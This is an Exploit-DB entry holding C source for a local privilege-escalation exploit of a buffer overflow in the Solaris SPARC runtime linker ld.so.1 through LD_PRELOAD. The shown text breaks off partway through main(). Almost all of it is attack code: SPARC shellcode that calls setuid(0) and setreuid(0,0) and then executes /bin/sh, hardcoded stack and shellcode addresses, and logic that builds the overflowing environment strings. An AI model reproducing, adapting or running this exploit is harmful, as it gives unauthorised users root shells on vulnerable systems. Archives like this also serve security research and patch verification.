Exploit-DB #114
Description: Solaris Runtime Linker (SPARC) - 'ld.so.1' Local Buffer Overflow
Type: local
Platform: solaris
Date: 2003-10-27
Author: osker178

Exploit:
/* #############################
 * ## ld.so.1 exploit (SPARC) ##
 * #############################
 * [coded by: osker178 (bjr213 psu.edu)]
 *
 * Alright, so this exploits a fairly standard buffer
 * overflow in the default Solaris runtime linker (ld.so.1)
 * (discovery by Jouko Pynnonen)
 * Only real deviation here from the standard overflow
 * and return into libc scenario is that at the time that 
 * overflow occurs, the libc object file has not been loaded; 
 * so it's not really possible to return into a libc function.
 * However, this poses no real problem to us, as ld.so.1 
 * provides it's own ___cpy() functions which we can use to 
 * move our shellcode into an appropriate place in memory.  
 *
 * Some things to note:
 *
 *  -  obviously some of the pre-defined addresses will have to be changed
 *  
 *  -  1124-1128 bytes into our buffer provided to LD_PRELOAD we will end up
 *     overwriting a char *; this is actually very helpful for locating where
 *     the rest of our information is stored in memory, as this pointer
 *     will be used to display another error message, showing us what string 
 *     is stored at the address we overwrote this pointer with.
 *  
 *  -  ... eh, that's enough, just look at the code to figure the rest out
 */
#include <dlfcn.h>
#include <stdio.h>
#include <signal.h>
#include <setjmp.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <link.h>


char SPARC_sc[] =
  /* setuid(0) */
  "\x90\x1b\xc0\x0f" /* xor     %o7,%o7,%o0 */
  "\x82\x10\x20\x17" /* mov     23,%g1 | 23 == SYS_setuid()*/
  "\x91\xd0\x20\x08" /* ta      8 */

  /* setreuid(0,0) - for me at least, these both had to be called */
  "\x92\x1a\x40\x09" /* xor     %o1,%o1,%o1 */
  "\x82\x10\x20\xca" /* mov     202, %g1 | 202 == SYS_setreuid()*/
  "\x91\xd0\x20\x08" /* ta      8 */

  /* exec(/bin/sh) */
  "\x21\x0b\xd8\x9a" /* sethi   %hi(0x2f626800), %l0 */
  "\xa0\x14\x21\x6e" /* or      %l0, 0x16e, %l0 ! 0x2f62696e */
  "\x23\x0b\xdc\xda" /* sethi   %hi(0x2f736800), %l1 */
  "\x90\x23\xa0\x10" /* sub     %sp, 16, %o0 */
  "\x92\x23\xa0\x08" /* sub     %sp, 8, %o1 */
  "\x94\x1b\x80\x0e" /* xor     %sp, %sp, %o2 */
  "\xe0\x3b\xbf\xf0" /* std     %l0, [%sp - 16] */
  "\xd0\x23\xbf\xf8" /* st      %o0, [%sp - 8] */
  "\xc0\x23\xbf\xfc" /* st      %g0, [%sp - 4] */
  "\x82\x10\x20\x3b" /* mov     59, %g1 | 59 = SYS_execve() */
  "\x91\xd0\x20\x08" /* ta      8 */
;


const long FRAME_ADDR = 0xffbee938;
const long SHELLCODE_ADDR = 0xffbef17a;   
const long DESTCPY_ADDR = 0xff3e7118; 
const long DEF_OFFSET = 0x20;

const int ENV_STR_SIZE = 2048;
const int FRAME_SIZE = 64; /* 8 %i regs and 8 %l regs */
const int DEF_FPAD_LEN = 4;
const int REC_BUF_SIZE = 1456;


char * get_ld_env(int buf_len, long offset); 
char * get_fake_frame(long offset);
char * get_envs_str(char fill);
unsigned long get_strcpy_addr();



/* ********************************************** *
 * ******************** MAIN ******************** *
 * ********************************************** */

int main(int argc, char **argv)
{

  char *prog[3];
  char *envs[7];  
  char opt;
  int buf_size = -1;
  int fpad_len = -1;
  long offset = -1;

  char *ld_pre_env = 0x0;
  char *fake_frame = 0x0;
 

  /* padding of sorts */
  char *envs_str1 = 0x0; 
  char *envs_str2 = 0x0; 
  char *fpad_buf = 0x0;

  // ------------------------------------------------ //
  

  while((opt = getopt(argc, argv, "s:o:p:")) != -1)
  {
    switch(opt) {
    case 's':
      if(!optarg) {
	printf("-s needs size argument\n");
	exit(0);
      }
      else
	buf_size = atoi(optarg);
      break;

    case 'o':
      if(!optarg) {
	printf("-o needs offset argument\n");
	exit(0);
      }
      else
	offset = atol(optarg);
      break;

    case 'p':
      if(!optarg) {
	printf("-p needs pad length argument\n");
	exit(0);
      }
      else {
	fpad_len = atoi(optarg);
	if(fpad_len < 0)
	  fpad_len = 0;
      }
      break;

    default:
      printf("Usage: %s [-s size] [-o offset] [-p fpad_len]\n", argv[0]);
      exit(0);

    }
    
    argc -= optind;
    argv += optind;	
  }
  
  printf("\n#######################################\n");
  printf("# ld.so.1 LD_PRELOAD (SPARC) exploit  #\n");
  printf("# coded by: osker178 (bjr213@psu.edu) #\n");
    printf("#######################################\n\n");

  if(buf_size == -1)
  {
    printf("Using default/recommended buffer size of %d\n", REC_BUF_SIZE);
    buf_size = REC_BUF_SIZE;
  }
  else if(buf_size % 4)
  {
    buf_size = buf_size + (4 - (buf_size%4));
    printf("WARNING: Rounding BUF_SIZE up to 0x%x (%d)\n", buf_size, buf_size);
  }


  if(offset == -1)
  {
    printf("Using default OFFSET of 0x%x (%d)\n", DEF_OFFSET, DEF_OFFSET);
    offset = DEF_OFFSET;
  }  
  else if((FRAME_ADDR + offset) % 8)
  {
    offset = offset + (8 - (offset%8));
    printf("WARNING: Rounding offset up to 0x%x (%d)\n", offset, offset);
    printf("(otherwise FRAME_ADDR would not be alligned correctly)\n");
  }


  if(fpad_len == -1)
  {
    printf("Using default FPAD_LEN of 0x%x (%d)\n", DEF_FPAD_LEN, DEF_FPAD_LEN);
    fpad_len = DEF_FPAD_LEN;
  }

  // -------------------------------------------------- //


  ld_pre_env = get_ld_env(buf_size, offset);
  if(!ld_pre_env)
    exit(0);
  
  fake_frame = get_fake_frame(offset);
  if(!fake_frame)
    exit(0);
  
  envs_str1 = get_envs_str('1');
  if(!envs_str1)
    exit(0);

  envs_str2 = get_envs_str('2');
  if(!envs_str2)
    exit(0);

    

  // -------------------------------------------------- //


  fpad_buf = (char *)malloc(fpad_len+1);
  if(!fpad_buf)
  {
    perror("malloc");
    exit(0);
  }
  memset(fpad_buf, 'F', fpad_len);
  fpad_buf[fpad_len] = '\0';
  

  envs[0] = fpad_buf;
  envs[1] = fake_frame;